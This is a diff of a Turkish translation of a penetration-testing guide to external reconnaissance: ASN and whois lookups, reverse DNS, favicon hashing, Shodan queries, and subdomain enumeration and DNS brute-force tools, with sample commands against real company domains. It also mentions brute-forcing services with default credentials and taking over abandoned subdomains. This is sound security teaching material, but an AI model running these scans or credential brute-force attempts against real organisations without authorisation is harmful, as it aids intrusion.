-Bir **otonom sistem numarası (ASN)**, bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\
+Bir otomatik sistem numarası (**ASN**), bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir.
-Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zayıflık testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\
-[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\
-**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünür.
+Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\
+[**https://bgp.he.net/**](https://bgp.he.net) sitesinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\
+**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, tüm** yararlı bilgiler **(IP aralıkları ve Whois)** muhtemelen ilk bağlantıda zaten görünecektir.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@@ -74,21 +74,21 @@ Bir alanın IP'sini ve ASN'sini [http://ipv4info.com/](http://ipv4info.com) kull
### **Zaafiyet arayışı**
-Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bir **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\
-Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak açık portlar bulabilir ve bulduklarınıza bağlı olarak bu kitapta çeşitli olası hizmetleri nasıl pentest edeceğinize bakabilirsiniz.\
-**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifreler **listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.**
+Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bazı **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\
+Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli olası hizmetleri nasıl pentest edeceğinizi inceleyebilirsiniz.\
+**Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force deneyebilirsiniz.
## Alanlar
> Kapsamdaki tüm şirketleri ve varlıklarını bildiğimize göre, kapsamdaki alanları bulma zamanı geldi.
-_Lütfen, aşağıda önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._
+_Lütfen, önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._
-Öncelikle her şirketin **ana alanını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
+Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
### **Ters DNS**
-Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **ters DNS aramaları** yaparak kapsamdaki daha fazla alanı bulmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
+Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **daha fazla alan bulmak için ters DNS sorguları** yapmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -100,16 +100,16 @@ Bu bilgiyi almak için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrar
### **Ters Whois (döngü)**
-**Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlıkı bulabilirsiniz** eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-postanın göründüğü diğer whois kayıtları).\
+**Whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlık** bulabilirsiniz eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\
Çevrimiçi araçlar kullanabilirsiniz:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil.
-* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama)
-* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil
+* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretli
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretli (sadece **100 ücretsiz** arama)
+* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretli
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\
Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois`
@@ -118,8 +118,8 @@ Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi y
### **İzleyiciler**
-Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın da aynı ekibin tarafından yönetildiğini** varsayabilirsiniz.\
-Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** gördüğünüzde.
+Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın** de **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\
+Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz.
Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır:
@@ -131,20 +131,20 @@ Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve
### **Favicon**
-Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapabilen [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Nasıl kullanılacağı:
+Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Kullanımı:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
-Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alan adlarını keşfetmemize olanak tanıyacak.
+Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacak.
-Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani, bir web teknolojisinin savunmasız bir sürümünün favicon'unun hash'ini biliyorsanız, shodan'da arayabilir ve **daha fazla savunmasız yeri bulabilirsiniz**:
+Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani **zayıf bir web teknolojisinin favicon'unun hash'ini biliyorsanız**, shodan'da arama yapabilir ve **daha fazla zayıf nokta bulabilirsiniz**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-Bir web sitesinin **favicon hash'ini hesaplamanın** yolu şöyledir:
+İşte bir web sitesinin **favicon hash'ini hesaplamanın** yolu:
```python
import mmh3
import requests
@@ -159,7 +159,7 @@ return fhash
```
### **Telif Hakkı / Benzersiz dize**
-Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
+Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri araştırın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
### **CRT Zamanı**
@@ -170,35 +170,35 @@ Genellikle şu gibi bir cron işi olması yaygındır:
```
### **Harici Keşif Metodolojisi**
-Sunucudaki tüm alan adı sertifikalarını yenilemek için bir plan yapın. Bu, bu işlem için kullanılan CA'nın Geçerlilik süresinde oluşturulma zamanını belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\
-Daha fazla bilgi için [**bu yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
+Sunucudaki tüm alan adı sertifikalarını yenilemek için. Bu, bunun için kullanılan CA'nın Oluşturulma Zamanını Geçerlilik süresinde belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\
+Daha fazla bilgi için bu [**makaleye göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### **Pasif Ele Geçirme**
-Görünüşe göre insanlar, **bulut sağlayıcılarına ait IP'ler için alt alan adlarını atamak ve bu IP adresini bir noktada kaybetmek ancak DNS kaydını kaldırmayı unutmak** gibi bir durumu sıkça yaşamaktadır. Bu nedenle, sadece bir VM oluşturarak (örneğin Digital Ocean gibi bir bulutta) aslında **bazı alt alan adlarını ele geçirebilirsiniz**.
+Görünüşe göre insanların, bulut sağlayıcılara ait IP'lerine alt alan adlarını atadıkları ve bir noktada **o IP adresini kaybettiklerini ancak DNS kaydını kaldırmayı unuttuklarını** sıkça yapmaları yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) bir VM oluşturarak aslında **bazı alt alan adlarını ele geçireceksiniz**.
-[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bu konu hakkında bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alan** ve buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan bir betik öneriyor.
+[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve ona işaret eden alt alan adı kayıtlarını **Virustotal'da arayan** bir betik önerir.
### **Diğer Yöntemler**
-**Bu tekniği yeni bir alan adı bulduğunuz her seferinde daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
+**Bu tekniği kullanarak her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebileceğinizi unutmayın.**
**Shodan**
-IP alanını sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi kullanarak shodan'da şu şekilde arama yapabilirsiniz: `org:"Tesla, Inc."` Bulunan ana bilgisayarlarda TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin.
+IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şuna benzer bir arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin.
-Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde bu adı arayabilirsiniz. Filtre olarak: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
+Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alan adı ile ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
+[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana alan adıyla ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
### **Zaafiyet Arayışı**
-Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ancak **sahipliğini kaybetmiş**. Eğer uygunsa kaydedin ve şirkete bildirin.
+Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin.
-Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını bulursanız**, temel bir güvenlik taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, bunları "saldırmak" için bazı ipuçları bu kitapta bulunabilir.\
-_Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle bu kapsamda olmayabilir, dikkatli olun._
+Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını** bulursanız, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\
+_Bazen alan adının müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda olmayabilir, dikkatli olun._
\
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
@@ -207,19 +207,19 @@ _Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde bar
## Alt Alan Adlar
-> Kapsamdaki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
+> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi.
### **DNS**
-**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz).
+**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, rapor etmelisiniz).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
-Birçok alt alan adını elde etmenin en hızlı yolu dış kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın):
+Birçok alt alan adını elde etmenin en hızlı yolu, harici kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@@ -270,7 +270,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
```
**Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin:
-* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
+* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@@ -305,7 +305,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
-* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını tarar ve oradan alt alan adlarını çıkarır.
+* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'i tarayarak JS dosyalarını arar ve oradan alt alan adlarını çıkarırlar.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -330,18 +330,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
-* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramak için kullanılabilir.
+* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramanıza olanak tanır.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
-Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden erişebilirsiniz.
+Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunar**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da erişebilirsiniz [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Kaba Kuvvet Saldırısı**
-Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvet saldırısı yaparak yeni **alt alan adları** bulmaya çalışalım.
+Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım.
-Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacınız olacak:
+Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız olacak:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -349,11 +349,11 @@ Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacını
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
-Ayrıca iyi DNS çözücülerin IP'leri de gereklidir. Güvenilir DNS çözücüler listesi oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) adresini kullanabilirsiniz.
+Ve ayrıca iyi DNS çözücülerin IP'leri. Güvenilir DNS çözücülerinin bir listesini oluşturmak için çözücüleri [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şu adresten yararlanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
-DNS kaba kuvvet saldırıları için en çok önerilen araçlar:
+DNS kaba kuvvet için en çok önerilen araçlar:
-* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere duyarlıdır.
+* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtı. Çok hızlı olmasına rağmen yanlış pozitiflere duyarlıdır.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@@ -363,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker karakterleri işleyerek alt alan adlarını çözmenize olanak tanıyan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır ve kolay giriş-çıkış desteği sağlar.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker işareti işleme ve kolay giriş-çıkış desteği ile alt alan adlarını çözmenize olanak tanıyan go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -377,18 +377,18 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### İkinci DNS Kaba Kuvvet Turu
-Açık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarından sonra, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
+Açık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
-* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verilerek permutasyonlar oluşturur.
+* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
-* goaltdns permutasyonlarını **wordlist**'i [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
+* goaltdns permutasyonlarını [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır.
+* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Eğer permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
@@ -398,28 +398,28 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez).
-* dmut permutasyon kelime listesine [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) ulaşabilirsiniz.
+* dmut permutasyon kelime listesini [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) alabilirsiniz.
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
-* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak yeni potansiyel alt alan adı adları oluşturur.
+* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak **yeni potansiyel alt alan adı adları oluşturur**.
#### Akıllı permütasyon oluşturma
-* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
+* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temel olarak **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile eşleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır.
```
echo www | subzuf facebook.com
```
### **Alt Alan Adı Keşfi İş Akışı**
